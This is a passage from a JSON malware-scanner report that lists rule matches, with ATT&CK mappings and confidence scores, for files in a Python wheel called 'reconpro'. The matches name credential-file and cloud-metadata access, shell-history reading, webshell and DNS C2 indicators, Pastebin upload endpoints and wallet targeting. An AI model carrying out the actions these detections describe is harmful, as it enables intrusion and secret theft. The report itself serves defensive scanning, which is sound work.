"micro-behaviors/process/create/launch::webbrowser-open", "atk": "T1059.003", "mbc": "E1059.003", "conf": 0.7, "crit": 3, "desc": "Opens URL in system web browser", "from": [ { "file": 18 } ] }, { "id": "micro-behaviors/fs/path/config/accounts::etc-passwd-open", "atk": "T1033", "conf": 0.8, "crit": 3, "desc": "/etc/passwd opened via open call", "from": [ { "file": 185 } ] }, { "id": "micro-behaviors/communications/http/server/listener::caddy-keyword", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "Caddy web server", "from": [ { "file": 131 } ] }, { "id": "micro-behaviors/fs/path/config/app::hidden-app-config-json", "conf": 0.8, "crit": 3, "desc": "References hidden application JSON config", "from": [ { "file": 39 } ] }, { "id": "metadata/package/scripts/entrypoint::console-scripts-entry", "conf": 0.88, "crit": 3, "desc": "Declares Python console-script entry points", "from": [ { "file": 219 } ] }, { "id": "objectives/discovery/network/scan/port::port-scan", "atk": "T1046", "mbc": "E1046", "conf": 0.4, "crit": 1, "desc": "Port-scan keyword", "from": [ { "file": 16 } ] }, { "id": "micro-behaviors/process/enumerate/shell::ps-list-command", "atk": "T1057", "conf": 0.92, "crit": 3, "desc": "ps process listing command" }, { "id": "micro-behaviors/fs/directory/traverse::traverse-walk-call", "conf": 0.84, "crit": 3, "desc": "Calls os.walk for filesystem enumeration", "from": [ { "file": 13 } ] }, { "id": "micro-behaviors/data/serialize/unsafe::import-pickle", "mbc": "C0038", "conf": 0.9, "crit": 3, "desc": "Imports Python's pickle serialization module" }, { "id": "micro-behaviors/fs/enumerate/permissions::suid-sgid-file-discovery-command", "conf": 0.97, "crit": 3, "desc": "Find enumerates SUID or SGID files", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/socket/ssl::check-hostname-false", "conf": 0.85, "crit": 3, "desc": "check_hostname = False (Python)", "from": [ { "file": 50 } ] }, { "id": "micro-behaviors/fs/proc/info/path::process-self-environ", "conf": 0.92, "crit": 3, "desc": "References own process environment procfs path", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/llm-proxy::llm-messages-path", "atk": "T1071.001", "conf": 0.72, "crit": 3, "desc": "Anthropic-compatible messages path", "from": [ { "file": 7 } ] }, { "id": "metadata/lang/generated::automatically-generated-source-marker", "conf": 0.85, "crit": 2, "desc": "Generated source provenance marker", "from": [ { "file": 2 } ] }, { "id": "objectives/discovery/system/fingerprint/hardware::python-platform-node", "atk": "T1082", "mbc": "E1082", "conf": 0.7, "crit": 3, "desc": "Retrieves the system hostname", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/communications/http/request/tasking::http-task-command-field-read", "atk": "T1071.001", "mbc": "C0002", "conf": 0.94, "crit": 3, "desc": "Reads structured task command field", "from": [ { "file": 22 } ] }, { "id": "micro-behaviors/communications/http/upload::data-collection-upload-path", "conf": 0.9, "crit": 3, "desc": "References a collection or upload endpoint", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/data/decode/base64::b64decode-string", "conf": 0.66, "crit": 3, "desc": "Standard Base64 decoder reference", "from": [ { "file": 115 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::mapping-get-executable-field", "conf": 0.88, "crit": 3, "desc": "Python mapping reads an executable field", "from": [ { "file": 101 } ] }, { "id": "micro-behaviors/communications/socket/bind/function::python-named-socket-bind-method", "mbc": "C0001", "conf": 0.82, "crit": 3, "desc": "Python named socket bind call", "from": [ { "file": 25 } ] }, { "id": "micro-behaviors/communications/http/token-auth::bearer-header-from-variable", "conf": 0.94, "crit": 3, "desc": "Builds Bearer authorization header from variable", "from": [ { "file": 104 } ] }, { "id": "micro-behaviors/communications/socket/send::socket-send-method-short", "atk": "T1071", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Short Python socket send call", "from": [ { "file": 25 } ] }, { "id": "objectives/credential-access/credential-manager/store-api::vault-cli-print-token", "atk": "T1552.001", "mbc": "E1552", "conf": 0.84, "crit": 3, "desc": "HashiCorp Vault CLI name", "from": [ { "file": 58 } ] }, { "id": "micro-behaviors/os/firewall/netsh::netsh-advfirewall-rule-query", "atk": "T1562.004", "conf": 0.92, "crit": 3, "desc": "Queries Windows firewall rule", "from": [ { "file": 125 } ] }, { "id": "metadata/file/string/cloud::azure-metadata-endpoint", "conf": 0.85, "crit": 3, "desc": "Azure IMDS endpoint", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/oauth::oauth-pkce-code-challenge", "conf": 0.8, "crit": 3, "desc": "OAuth PKCE code-challenge field", "from": [ { "file": 116 } ] }, { "id": "metadata/package/testing/corpus::rce-category-label", "conf": 0.9, "crit": 3, "desc": "RCE attack category label", "from": [ { "file": 4 } ] }, { "id": "objectives/credential-access/shell/history::zsh-history", "atk": "T1552.003", "conf": 0.8, "crit": 3, "desc": "Zsh shell history file access", "from": [ { "file": 53 } ] }, { "id": "objectives/evasion/security-bypass/llm/override::llm-verbatim-output-directive", "atk": "T1562", "conf": 0.92, "crit": 3, "desc": "Requests verbatim output", "from": [ { "file": 8 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::platform-field-key", "conf": 0.86, "crit": 3, "desc": "JSON-like platform or OS field", "from": [ { "file": 17 } ] }, { "id": "objectives/collection/stealer/session::token-refresh-endpoint", "atk": "T1539", "conf": 0.9, "crit": 3, "desc": "Refresh token reference", "from": [ { "file": 59 } ] }, { "id": "objectives/credential-access/env/secrets/bulk-access::infrastructure-secret-env-name", "atk": "T1552.001", "mbc": "B0028", "conf": 0.9, "crit": 3, "desc": "Infrastructure secret environment name", "from": [ { "file": 91 } ] }, { "id": "well-known/dual-use/tunnel/openvpn::openvpn-source-token", "conf": 0.96, "crit": 3, "desc": "OpenVPN source token", "from": [ { "file": 75 } ] }, { "id": "micro-behaviors/communications/http/sniff::cookie-request-header-token", "atk": "T1040", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "HTTP Cookie request header token", "from": [ { "file": 2 } ] }, { "id": "objectives/command-and-control/backdoor/webshell/embedded::embedded-php-request-command", "atk": "T1505.003", "mbc": "B0030", "conf": 0.99, "crit": 4, "desc": "Embedded PHP request-command payload", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/data/string/assembly::four-digit-range-bound", "conf": 0.98, "crit": 3, "desc": "Python range has a four-digit bound" }, { "id": "micro-behaviors/process/create/thread::python-daemon-thread", "conf": 0.8, "crit": 3, "desc": "Creates a daemon thread in Python", "from": [ { "file": 25 } ] }, { "id": "micro-behaviors/fs/path/application/executable::resmon-process", "conf": 0.75, "crit": 3, "desc": "Resource Monitor process name", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/communications/http/oauth::oauth-authorization-code-grant", "conf": 0.8, "crit": 3, "desc": "OAuth authorization-code grant field", "from": [ { "file": 116 } ] }, { "id": "metadata/package/testing/corpus::malicious-traffic-mix-declaration", "conf": 0.9, "crit": 3, "desc": "Declares a malicious/benign traffic mix", "from": [ { "file": 4 } ] }, { "id": "metadata/package/ecosystem::pkginfo-summary-field", "conf": 0.9, "crit": 2, "desc": "Declares Python package summary", "from": [ { "file": 218 } ] }, { "id": "metadata/file/string/application-name::chromium-browser-name-literal", "conf": 0.4, "crit": 3, "desc": "String literal names the Chromium browser", "from": [ { "file": 125 } ] }, { "id": "objectives/command-and-control/infrastructure/paste::pastebin-api-post-endpoint", "atk": "T1567,T1027.010", "mbc": "E1567", "conf": 0.94, "crit": 3, "desc": "Pastebin api_post.php upload endpoint", "from": [ { "file": 122 } ] }, { "id": "micro-behaviors/fs/file/copy::shutil-copy", "conf": 0.8, "crit": 3, "desc": "Python shutil copies a file", "from": [ { "file": 14 } ] }, { "id": "micro-behaviors/crypto/symmetric/stream/chacha::chacha20-keyword", "conf": 0.7, "crit": 3, "desc": "ChaCha20 cipher algorithm reference", "from": [ { "file": 14 } ] }, { "id": "well-known/lib/platform/browser-automation/drivers/selenium::pkginfo-playwright-dependency", "conf": 0.9, "crit": 3, "desc": "pkginfo Playwright dependency", "from": [ { "file": 218 } ] }, { "id": "objectives/command-and-control/dropper/sideload::certutil-exe-path-target", "atk": "T1574.002,T1105", "conf": 0.85, "crit": 3, "desc": "certutil command references an EXE path", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/os/security/auth/password::python-hardcoded-password-call-argument", "conf": 0.9, "crit": 3, "desc": "Python call with hardcoded password argument" }, { "id": "objectives/command-and-control/dropper/python-script::python-resource-url-field", "atk": "T1105", "mbc": "B0024", "conf": 0.9, "crit": 3, "desc": "Reads resource URL field", "from": [ { "file": 9 } ] }, { "id": "well-known/tool/detection/ai-guardrail::ai-guardrail-context", "conf": 0.95, "crit": 3, "desc": "AI-agent guardrail / security-scanner tool context", "from": [ { "file": 61 }, { "file": 71 }, { "file": 100 }, { "file": 189 } ], "uses": [ 455, 1151, 1296 ] }, { "id": "objectives/evasion/hosts-file/block-security::hosts-security-block-token", "atk": "T1565.001", "mbc": "F0004", "conf": 0.9, "crit": 3, "desc": "Hosts security block token", "from": [ { "file": 4 } ] }, { "id": "micro-behaviors/data/manipulation::python-open-write-call", "conf": 0.9, "crit": 3, "desc": "Python writes through open handle" }, { "id": "objectives/discovery/system/fingerprint/hardware::python-sysinfo-multi", "atk": "T1082", "mbc": "E1082", "conf": 0.9, "crit": 3, "desc": "Collects multiple system information items", "from": [ { "file": 35 } ], "uses": [ 204, 436, 587, 1155, 1203 ] }, { "id": "objectives/command-and-control/dropper/delivery/http::suspicious-cloud-image-object--rx-1", "atk": "T1105", "mbc": "B0024", "conf": 0.86, "crit": 3, "desc": "Matches 'storage.googleapis.com'", "from": [ { "file": 119 } ] }, { "id": "objectives/execution/autoinstall/pip::except-import-error-content", "atk": "T1059.006", "mbc": "B0024", "conf": 0.7, "crit": 3, "desc": "except ImportError in source", "from": [ { "file": 18 } ] }, { "id": "micro-behaviors/data/decode/hex::python-fromhex", "conf": 0.8, "crit": 3, "desc": "Python bytes.fromhex decode", "from": [ { "file": 75 } ] }, { "id": "well-known/lib/stdlib/python-stdlib::p-3", "conf": 1.0, "crit": 3, "desc": "Python standard library module group 3", "from": [ { "file": 208 } ] }, { "id": "micro-behaviors/os/sysinfo/platform/branch::python-platform-branch", "atk": "T1082", "conf": 0.82, "crit": 3, "desc": "Python branches on OS platform", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/communications/http/header/accept::accept-json-header", "atk": "T1071.001", "mbc": "C0002", "conf": 0.95, "crit": 3, "desc": "Requests a JSON HTTP response", "from": [ { "file": 9 } ] }, { "id": "metadata/package/testing/corpus::ssrf-category-label", "conf": 0.9, "crit": 3, "desc": "SSRF attack category label", "from": [ { "file": 1 } ] }, { "id": "objectives/credential-access/theft/keywords::api-key-field-name", "conf": 0.96, "crit": 1, "desc": "API-key field name in structured data", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/fs/build-artifacts::compiled-artifact-cleanup", "conf": 1.0, "crit": 3, "desc": "Deletes only compiled/cache build artifacts", "from": [ { "file": 13 } ] }, { "id": "objectives/lateral-movement/smb::ntlm-relay-ldap-target", "conf": 0.97, "crit": 3, "desc": "References an LDAP endpoint", "from": [ { "file": 128 } ] }, { "id": "objectives/collection/stealer/wallet::hardware-wallet-target-surface", "atk": "T1552.001", "conf": 0.9, "crit": 3, "desc": "Wallet or keystore file target surface", "from": [ { "file": 124 } ] }, { "id": "metadata/package/testing/presence/path::tests-path-basename", "conf": 1.0, "crit": 2, "desc": "Tests path basename", "from": [ { "file": 158 } ] }, { "id": "micro-behaviors/os/env/secret-name::python-env-keyword-key", "conf": 0.88, "crit": 3, "desc": "Python getenv name contains KEY", "from": [ { "file": 19 } ] }, { "id": "objectives/exfiltration/dns/tunnel::dns-c2", "atk": "T1071.004", "mbc": "C0001", "conf": 0.9, "crit": 4, "desc": "DNS C2 terminology", "from": [ { "file": 53 } ] }, { "id": "metadata/package/ecosystem::pkginfo-markdown-description", "conf": 0.9, "crit": 3, "desc": "Declares Markdown package description", "from": [ { "file": 218 } ] }, { "id": "micro-behaviors/communications/http/request/client::http-client", "conf": 0.7, "crit": 3, "desc": "Uses common HTTP client APIs", "from": [ { "file": 7 } ], "uses": [ 465, 830 ] }, { "id": "objectives/exfiltration/http/collect::python-json-request-payload", "atk": "T1041", "conf": 0.91, "crit": 3, "desc": "Python JSON request payload", "from": [ { "file": 47 } ] }, { "id": "well-known/lib/network/public-suffix-list::psl-cloudfront", "conf": 0.9, "crit": 3, "desc": "Public suffix cloudfront.net", "from": [ { "file": 123 } ] }, { "id": "metadata/package/ecosystem::pkginfo-requires-dist", "conf": 0.9, "crit": 3, "desc": "Declares Python runtime dependencies", "from": [ { "file": 218 } ] }, { "id": "micro-behaviors/communications/http/services/cloud::gcp-metadata-endpoint-reference", "conf": 0.9, "crit": 3, "desc": "Google Cloud metadata host reference", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/user-agent::python-requests-ua", "conf": 0.7, "crit": 3, "desc": "Python requests User-Agent", "from": [ { "file": 127 } ] }, { "id": "objectives/execution/automation/agent::agent-target-discovery-a", "atk": "T1059,T1190,T1595", "conf": 0.88, "crit": 3, "desc": "Agent enumerates exposed targets", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/os/container/namespace::poststart-str", "conf": 1.0, "crit": 3, "desc": "poststart hook", "from": [ { "file": 124 } ] }, { "id": "objectives/execution/automation/autonomous::llm-exploit-vulnerability", "atk": "T1059,T1587.004", "conf": 0.9, "crit": 3, "desc": "LLM vulnerability exploitation stage", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/data/source/syntax/keyword::function-command-parameter", "conf": 0.8, "crit": 3, "desc": "Python function accepts a command parameter", "from": [ { "file": 26 } ] }, { "id": "micro-behaviors/process/create/workers::parallel-submit-call", "conf": 0.88, "crit": 3, "desc": "Submits a task to an executor", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/communications/http/url/github::gist-github-host-url", "atk": "T1071.001", "mbc": "C0002", "conf": 0.88, "crit": 3, "desc": "Hardcoded gist.github.com host URL", "from": [ { "file": 122 } ] }, { "id": "objectives/command-and-control/dropper/delivery/http::suspicious-cloud-image-object--rx-2", "atk": "T1105", "mbc": "B0024", "conf": 0.86, "crit": 3, "desc": "Matches 'blob.core.windows.net'", "from": [ { "file": 119 } ] }, { "id": "micro-behaviors/communications/http/jwt::jwt-hs256-algorithm-field", "conf": 0.97, "crit": 3, "desc": "JWT selects the HS256 signature algorithm", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/crypto/hash/hmac::hmac-new", "conf": 0.9, "crit": 3, "desc": "Python hmac.new operation", "from": [ { "file": 104 } ] }, { "id": "micro-behaviors/data/encode/base64::import-base64", "conf": 0.9, "crit": 3, "desc": "Imports Python's base64 module", "from": [ { "file": 18 } ] }, { "id": "metadata/file/catalog/service::messaging-mail-service-names", "conf": 0.82, "crit": 1, "desc": "Messaging and mail service names", "from": [ { "file": 7 } ], "uses": [ 71, 347, 784, 813 ] }, { "id": "micro-behaviors/communications/ssh/connect::openssh", "conf": 0.5, "crit": 2, "desc": "OpenSSH string", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/os/env/secret-name::python-env-keyword-secret", "conf": 0.88, "crit": 3, "desc": "Python getenv name contains SECRET" }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "from": [ { "file": 1 } ] }, { "id": "micro-behaviors/fs/path/secret-config::pypirc-credentials-file", "atk": "T1552.001", "conf": 0.9, "crit": 3, "desc": "PyPI credentials file path reference", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/communications/http/services/entra-directory::domain-collection-path-token", "conf": 0.92, "crit": 3, "desc": "Microsoft Graph domain collection endpoint", "from": [ { "file": 67 } ] }, { "id": "objectives/supply-chain/recon-exfil/pipeline::gha-interesting-secret-keywords--rx-4", "atk": "T1195.002, T1552.001", "conf": 0.9, "crit": 3, "desc": "Netlify or OpenAI credential variable name", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/process/create/shell-subprocess::shell-true", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.7, "crit": 3, "desc": "Subprocess call enables shell parsing" }, { "id": "micro-behaviors/os/service/remote::sshd-ref", "conf": 0.4, "crit": 2, "desc": "sshd daemon reference", "from": [ { "file": 2 } ] }, { "id": "objectives/credential-access/cloud/token/metadata::cloud-credential-endpoint-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.92, "crit": 3, "desc": "Cloud instance credential endpoint reference", "from": [ { "off": 21733, "file": 45, "line": 525 }, { "off": 3114, "file": 119, "line": 86 }, { "off": 225, "file": 133, "line": 12 } ], "uses": [ 5, 248, 433, 698, 819 ] }, { "id": "micro-behaviors/communications/http/url/forge::github-raw-url", "conf": 0.92, "crit": 3, "desc": "GitHub raw-content URL", "from": [ { "file": 34 } ] }, { "id": "micro-behaviors/communications/ip/literal::direct-ip-http-client", "atk": "T1071.001", "conf": 0.95, "crit": 3, "desc": "Requests a direct-IP HTTP endpoint", "from": [ { "file": 31 } ], "uses": [ 221, 650, 717, 1184, 1257 ] }, { "id": "metadata/package/ecosystem::pkginfo-core-metadata", "conf": 1.0, "crit": 2, "desc": "Declares Python Core Metadata version", "from": [ { "file": 218 } ] }, { "id": "micro-behaviors/data/string/conversion::python-chr-call", "conf": 0.9, "crit": 3, "desc": "Python chr() character conversion" }, { "id": "micro-behaviors/os/container/runtime::docker-api-port-2375", "conf": 0.78, "crit": 3, "desc": "Docker unauthenticated API port", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/process/fd/stdio::py-stdout-custom-stream", "conf": 0.75, "crit": 3, "desc": "Python redirects stdout to custom stream", "from": [ { "file": 182 } ] }, { "id": "micro-behaviors/communications/http/user-agent::ua-curl", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "curl User-Agent", "from": [ { "file": 120 } ] }, { "id": "micro-behaviors/communications/http/url/path::loopback-http-url-reference", "conf": 0.9, "crit": 3, "desc": "References a loopback HTTP URL", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/websocket::websocket-class", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "WebSocket class reference", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/fs/build-artifacts::build-output-prune-context", "conf": 0.85, "crit": 3, "desc": "Build output pruning context", "from": [ { "file": 15 } ] }, { "id": "micro-behaviors/time/sleep/interval::python-sleep-call", "conf": 0.65, "crit": 2, "desc": "Pauses execution with a Python sleep call", "from": [ { "file": 10 } ] }, { "id": "objectives/collection/screenshot/capture::screenshot-image-extension", "atk": "T1113", "mbc": "B0002", "conf": 0.65, "crit": 3, "desc": "Screenshot filename artifact", "from": [ { "file": 18 } ] }, { "id": "micro-behaviors/os/security/auth/password::python-container-password-reset-command", "conf": 0.92, "crit": 3, "desc": "Python sends container password reset", "from": [ { "file": 95 } ] }, { "id": "well-known/tool/detection/security-scanner::defensive-threat-signatures", "conf": 0.95, "crit": 1, "desc": "Defensive threat signature catalog", "from": [ { "file": 61 }, { "file": 71 } ], "uses": [ 547, 664 ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-tooling-or-transcript-context", "atk": "T1552.001", "conf": 0.9, "crit": 1, "desc": "SSH tooling or documentation transcript", "from": [ { "file": 2 } ], "uses": [ 263, 273, 572, 709, 1002, 1062, 1274 ] }, { "id": "micro-behaviors/communications/ip/endpoint::https-port-443-protocol", "conf": 0.6, "crit": 3, "desc": "References HTTPS service port 443", "from": [ { "file": 16 } ] }, { "id": "micro-behaviors/fs/path/log/system::four-var-log-path-references", "conf": 0.84, "crit": 3, "desc": "Contains four system log path references", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/response::http-401-unauthorized", "conf": 0.75, "crit": 3, "desc": "HTTP 401 unauthorized response text", "from": [ { "file": 89 } ] }, { "id": "objectives/impact/ransom/affiliate::locker-encryption-keyword-literal", "atk": "T1486", "mbc": "B0007", "conf": 0.85, "crit": 3, "desc": "Source literal has ransom or file-locker term", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/os/autorun/cron::crontab-keyword", "conf": 0.5, "crit": 3, "desc": "Contains crontab keyword", "from": [ { "file": 45 } ] }, { "id": "objectives/execution/exploit/sandbox-escape::python-recovered-import-command-call", "atk": "T1059.006,T1203", "conf": 0.99, "crit": 4, "desc": "Recovered Python import invokes command sink" }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--exit-code", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (exit_code)", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/os/container/runtime::container-runtime-secrets-path", "conf": 0.82, "crit": 3, "desc": "Container runtime secrets path", "from": [ { "file": 133 } ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::dirtycow", "atk": "T1068", "conf": 0.95, "crit": 4, "desc": "DirtyCow exploit reference", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/communications/http/header/content-type::content-type-header", "conf": 0.5, "crit": 3, "desc": "References an HTTP Content-Type header", "from": [ { "file": 9 } ] }, { "id": "well-known/tool/detection/threat-intel::virustotal", "conf": 0.7, "crit": 3, "desc": "VirusTotal service name reference", "from": [ { "file": 21 } ] }, { "id": "micro-behaviors/fs/build-artifacts::unittest-testcase-context", "conf": 1.0, "crit": 3, "desc": "unittest TestCase cleanup context", "from": [ { "file": 22 } ] }, { "id": "micro-behaviors/process/create/workers::worker-thread-count-setting", "conf": 0.78, "crit": 3, "desc": "Configures the number of worker threads", "from": [ { "off": 23878, "file": 23, "line": 547 } ], "uses": [ 1044 ] }, { "id": "micro-behaviors/communications/http/url/port::http-alt-port-8080", "conf": 0.7, "crit": 3, "desc": "HTTP URL uses alternate port 8080", "from": [ { "file": 17 } ] }, { "id": "micro-behaviors/os/env/secret-name::python-environ-items-password-marker", "conf": 0.92, "crit": 3, "desc": "Password marker string literal", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/process/argument/subcommand::underscored-file-transfer-command", "conf": 0.9, "crit": 3, "desc": "Underscored file-transfer command identifier", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/http/services/github::github-api-host", "conf": 0.86, "crit": 3, "desc": "GitHub API host reference", "from": [ { "file": 95 } ] }, { "id": "metadata/lang/javascript-features::arrow-function", "conf": 0.9, "crit": 2, "desc": "ES6 arrow function syntax" }, { "id": "micro-behaviors/communications/http/cookies::set-cookie-header", "conf": 0.5, "crit": 3, "desc": "Set-Cookie header", "from": [ { "file": 2 } ] }, { "id": "objectives/discovery/network/enumeration::certificate-transparency-domain-search", "conf": 0.94, "crit": 3, "desc": "Searches certificate records for a domain", "from": [ { "off": 28581, "file": 61, "line": 756 }, { "file": 91 }, { "off": 19232, "file": 92, "line": 488 }, { "file": 94 }, { "off": 4121, "file": 122, "line": 117 }, { "off": 43473, "file": 123, "line": 1048 }, { "file": 131 }, { "off": 17329, "file": 137, "line": 426 } ], "uses": [ 637, 796 ] }, { "id": "micro-behaviors/os/random/crypto::os-urandom", "conf": 0.9, "crit": 3, "desc": "Python os.urandom cryptographic random bytes" }, { "id": "micro-behaviors/process/interpreter/python::compile-source-exec-mode", "atk": "T1059.006", "mbc": "E1059", "conf": 0.9, "crit": 3, "desc": "Python compiles source in exec mode", "from": [ { "file": 186 } ] }, { "id": "micro-behaviors/os/sysinfo/process::systeminfo-token", "atk": "T1082", "conf": 0.72, "crit": 3, "desc": "systeminfo command/string token", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/ip/proxy::cloudflare-162-158-159-source-literal", "conf": 0.85, "crit": 3, "desc": "Cloudflare proxy IP (162.158-159 range)", "from": [ { "file": 131 } ] }, { "id": "micro-behaviors/data/db/sql::sql-delete-clause", "conf": 0.5, "crit": 3, "desc": "SQL DELETE statement clause", "from": [ { "file": 45 } ] }, { "id": "metadata/package/testing/corpus::injection-category-labels", "conf": 0.9, "crit": 3, "desc": "Multiple injection attack-category labels", "from": [ { "file": 4 } ], "uses": [ 575, 890 ] }, { "id": "micro-behaviors/communications/socket/ssl::python-ssl-false", "conf": 0.9, "crit": 3, "desc": "Python call passes ssl=False", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/data/format/json::json-result-field", "conf": 0.8, "crit": 3, "desc": "JSON result or response field key", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/http/user-agent::hardcoded-mozilla-user-agent-list", "conf": 0.9, "crit": 3, "desc": "Multiple hard-coded Mozilla User-Agents", "from": [ { "file": 42 } ] }, { "id": "micro-behaviors/data/string/search::regex-map-findall-loop", "conf": 0.9, "crit": 3, "desc": "Iterates regex map with findall", "from": [ { "file": 101 } ] }, { "id": "objectives/credential-access/env/secrets/bulk-access::script-stripe-secret-env-name", "atk": "T1552.001", "mbc": "B0028", "conf": 0.9, "crit": 3, "desc": "Stripe secret environment name", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--stderr", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (stderr)", "from": [ { "file": 8 } ] }, { "id": "objectives/impact/dos/amplification::amplification-payload-common-chr-suffix", "conf": 1.0, "crit": 3, "desc": "Amplification chr() payload suffix", "from": [ { "file": 34 } ] }, { "id": "objectives/command-and-control/trigger/activation::trigger-keyword-lower-suffix", "conf": 0.3, "crit": 3, "desc": "trigger keyword (lowercase suffix)", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/data/control-flow/loop::python-range-loop-large-bound", "conf": 0.85, "crit": 3, "desc": "Uses a large-bound Python range loop", "from": [ { "file": 17 } ] }, { "id": "objectives/discovery/system/fingerprint/os::platform-profiling", "atk": "T1082", "mbc": "B0012", "conf": 0.8, "crit": 3, "desc": "System platform profiling", "from": [ { "file": 35 }, { "file": 58 }, { "file": 60 }, { "file": 129 } ], "uses": [ 574, 1045 ] }, { "id": "micro-behaviors/communications/socket/connect::socket-connect-method-short", "conf": 0.85, "crit": 3, "desc": "Short Python socket connect call", "from": [ { "file": 60 } ] }, { "id": "metadata/file/string/application-name::safari-browser-name-literal", "conf": 0.4, "crit": 3, "desc": "String literal names the Safari browser", "from": [ { "file": 42 } ] }, { "id": "micro-behaviors/communications/socket/connect::socket-connect-ex-method-short", "conf": 0.88, "crit": 3, "desc": "Python socket-like connect_ex call", "from": [ { "file": 16 } ] }, { "id": "metadata/encoded-payload/base64", "conf": 0.9, "crit": 3, "desc": "Encoded content decoded: base64" }, { "id": "objectives/impact/degrade/edr/targeting::norton-name", "atk": "T1562.001", "conf": 0.5, "crit": 3, "desc": "Standalone Norton product-name token", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/fs/path/config/system::config-crontab", "conf": 0.78, "crit": 3, "desc": "Reference to /etc/crontab", "from": [ { "file": 45 } ] }, { "id": "objectives/impact/degrade/edr/targeting::malwarebytes-name", "atk": "T1562.001", "conf": 0.5, "crit": 3, "desc": "Standalone Malwarebytes product-name token", "from": [ { "file": 74 } ] }, { "id": "well-known/tool/detection/llm-scanner::ai-guardian-benchmark-suite-class", "conf": 0.99, "crit": 3, "desc": "AI Guardian BenchmarkSuite class", "from": [ { "file": 17 } ] }, { "id": "micro-behaviors/os/registry/keys::screensaver-active-value-name", "conf": 0.9, "crit": 3, "desc": "Screensaver activation registry value", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/os/pam/auth::pam-config-paths", "conf": 0.6, "crit": 3, "desc": "PAM configuration file paths", "from": [ { "file": 125 } ], "uses": [ 451 ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::platform-os-release", "atk": "T1082", "conf": 0.85, "crit": 3, "desc": "Queries the operating system release", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/data/db/config::db-key-database", "conf": 0.85, "crit": 1, "desc": "Connection database key", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/fs/path/temp::unix-temp", "conf": 0.7, "crit": 2, "desc": "Unix /tmp/ path reference", "from": [ { "file": 45 } ] }, { "id": "metadata/file/archive::archive-executable-member-cluster", "conf": 0.9, "crit": 3, "desc": "Archive contains several executable members", "spans": [ [ 0, 31 ] ] }, { "id": "metadata/package/files/archive-shape::jar-many-members", "conf": 0.98, "crit": 3, "desc": "JAR has many archive members", "spans": [ [ 0, 27 ] ] }, { "id": "metadata/package/testing/presence/path::archive-test-directory-member-path", "conf": 0.98, "crit": 3, "desc": "Archive ships a root-level test tree" }, { "id": "metadata/file/data-blob::near-maximum-entropy-file", "conf": 0.9, "crit": 3, "desc": "File has near-maximum entropy", "spans": [ [ 0, 19 ] ] }, { "id": "micro-behaviors/fs/delete/directory::iterative-file-deletion", "atk": "T1070.004", "mbc": "C0047", "conf": 0.88, "crit": 3, "desc": "Iteratively deletes files from directory", "uses": [ 736, 1142 ], "spans": [ [ 0, 41 ] ] }, { "id": "objectives/evasion/masquerade/extension-mismatch::interpreter-argv-on-font-path", "atk": "T1036.008", "conf": 0.93, "crit": 4, "desc": "Interpreter argv names a font file", "uses": [ 50, 579 ], "spans": [ [ 1646, 59 ] ] }, { "id": "micro-behaviors/fs/directory/traverse::recursive-directory-traversal", "conf": 0.86, "crit": 3, "desc": "Recursive directory traversal logic", "from": [ { "file": 13 }, { "file": 41 }, { "file": 73 }, { "file": 87 }, { "file": 88 }, { "file": 120 }, { "file": 135 } ], "uses": [ 292, 1142 ] } ] }, { "id": 1, "mol": "K(Te₂)H(Os)Md(Pa)", "sha": "95b06bb7c35d06cff48d1a319b5d224f37806743638c129b07f615cb320e6edf", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/__init__.py", "risk": 4, "size": 5363, "type": "python", "depth": 1 }, { "id": 2, "mol": 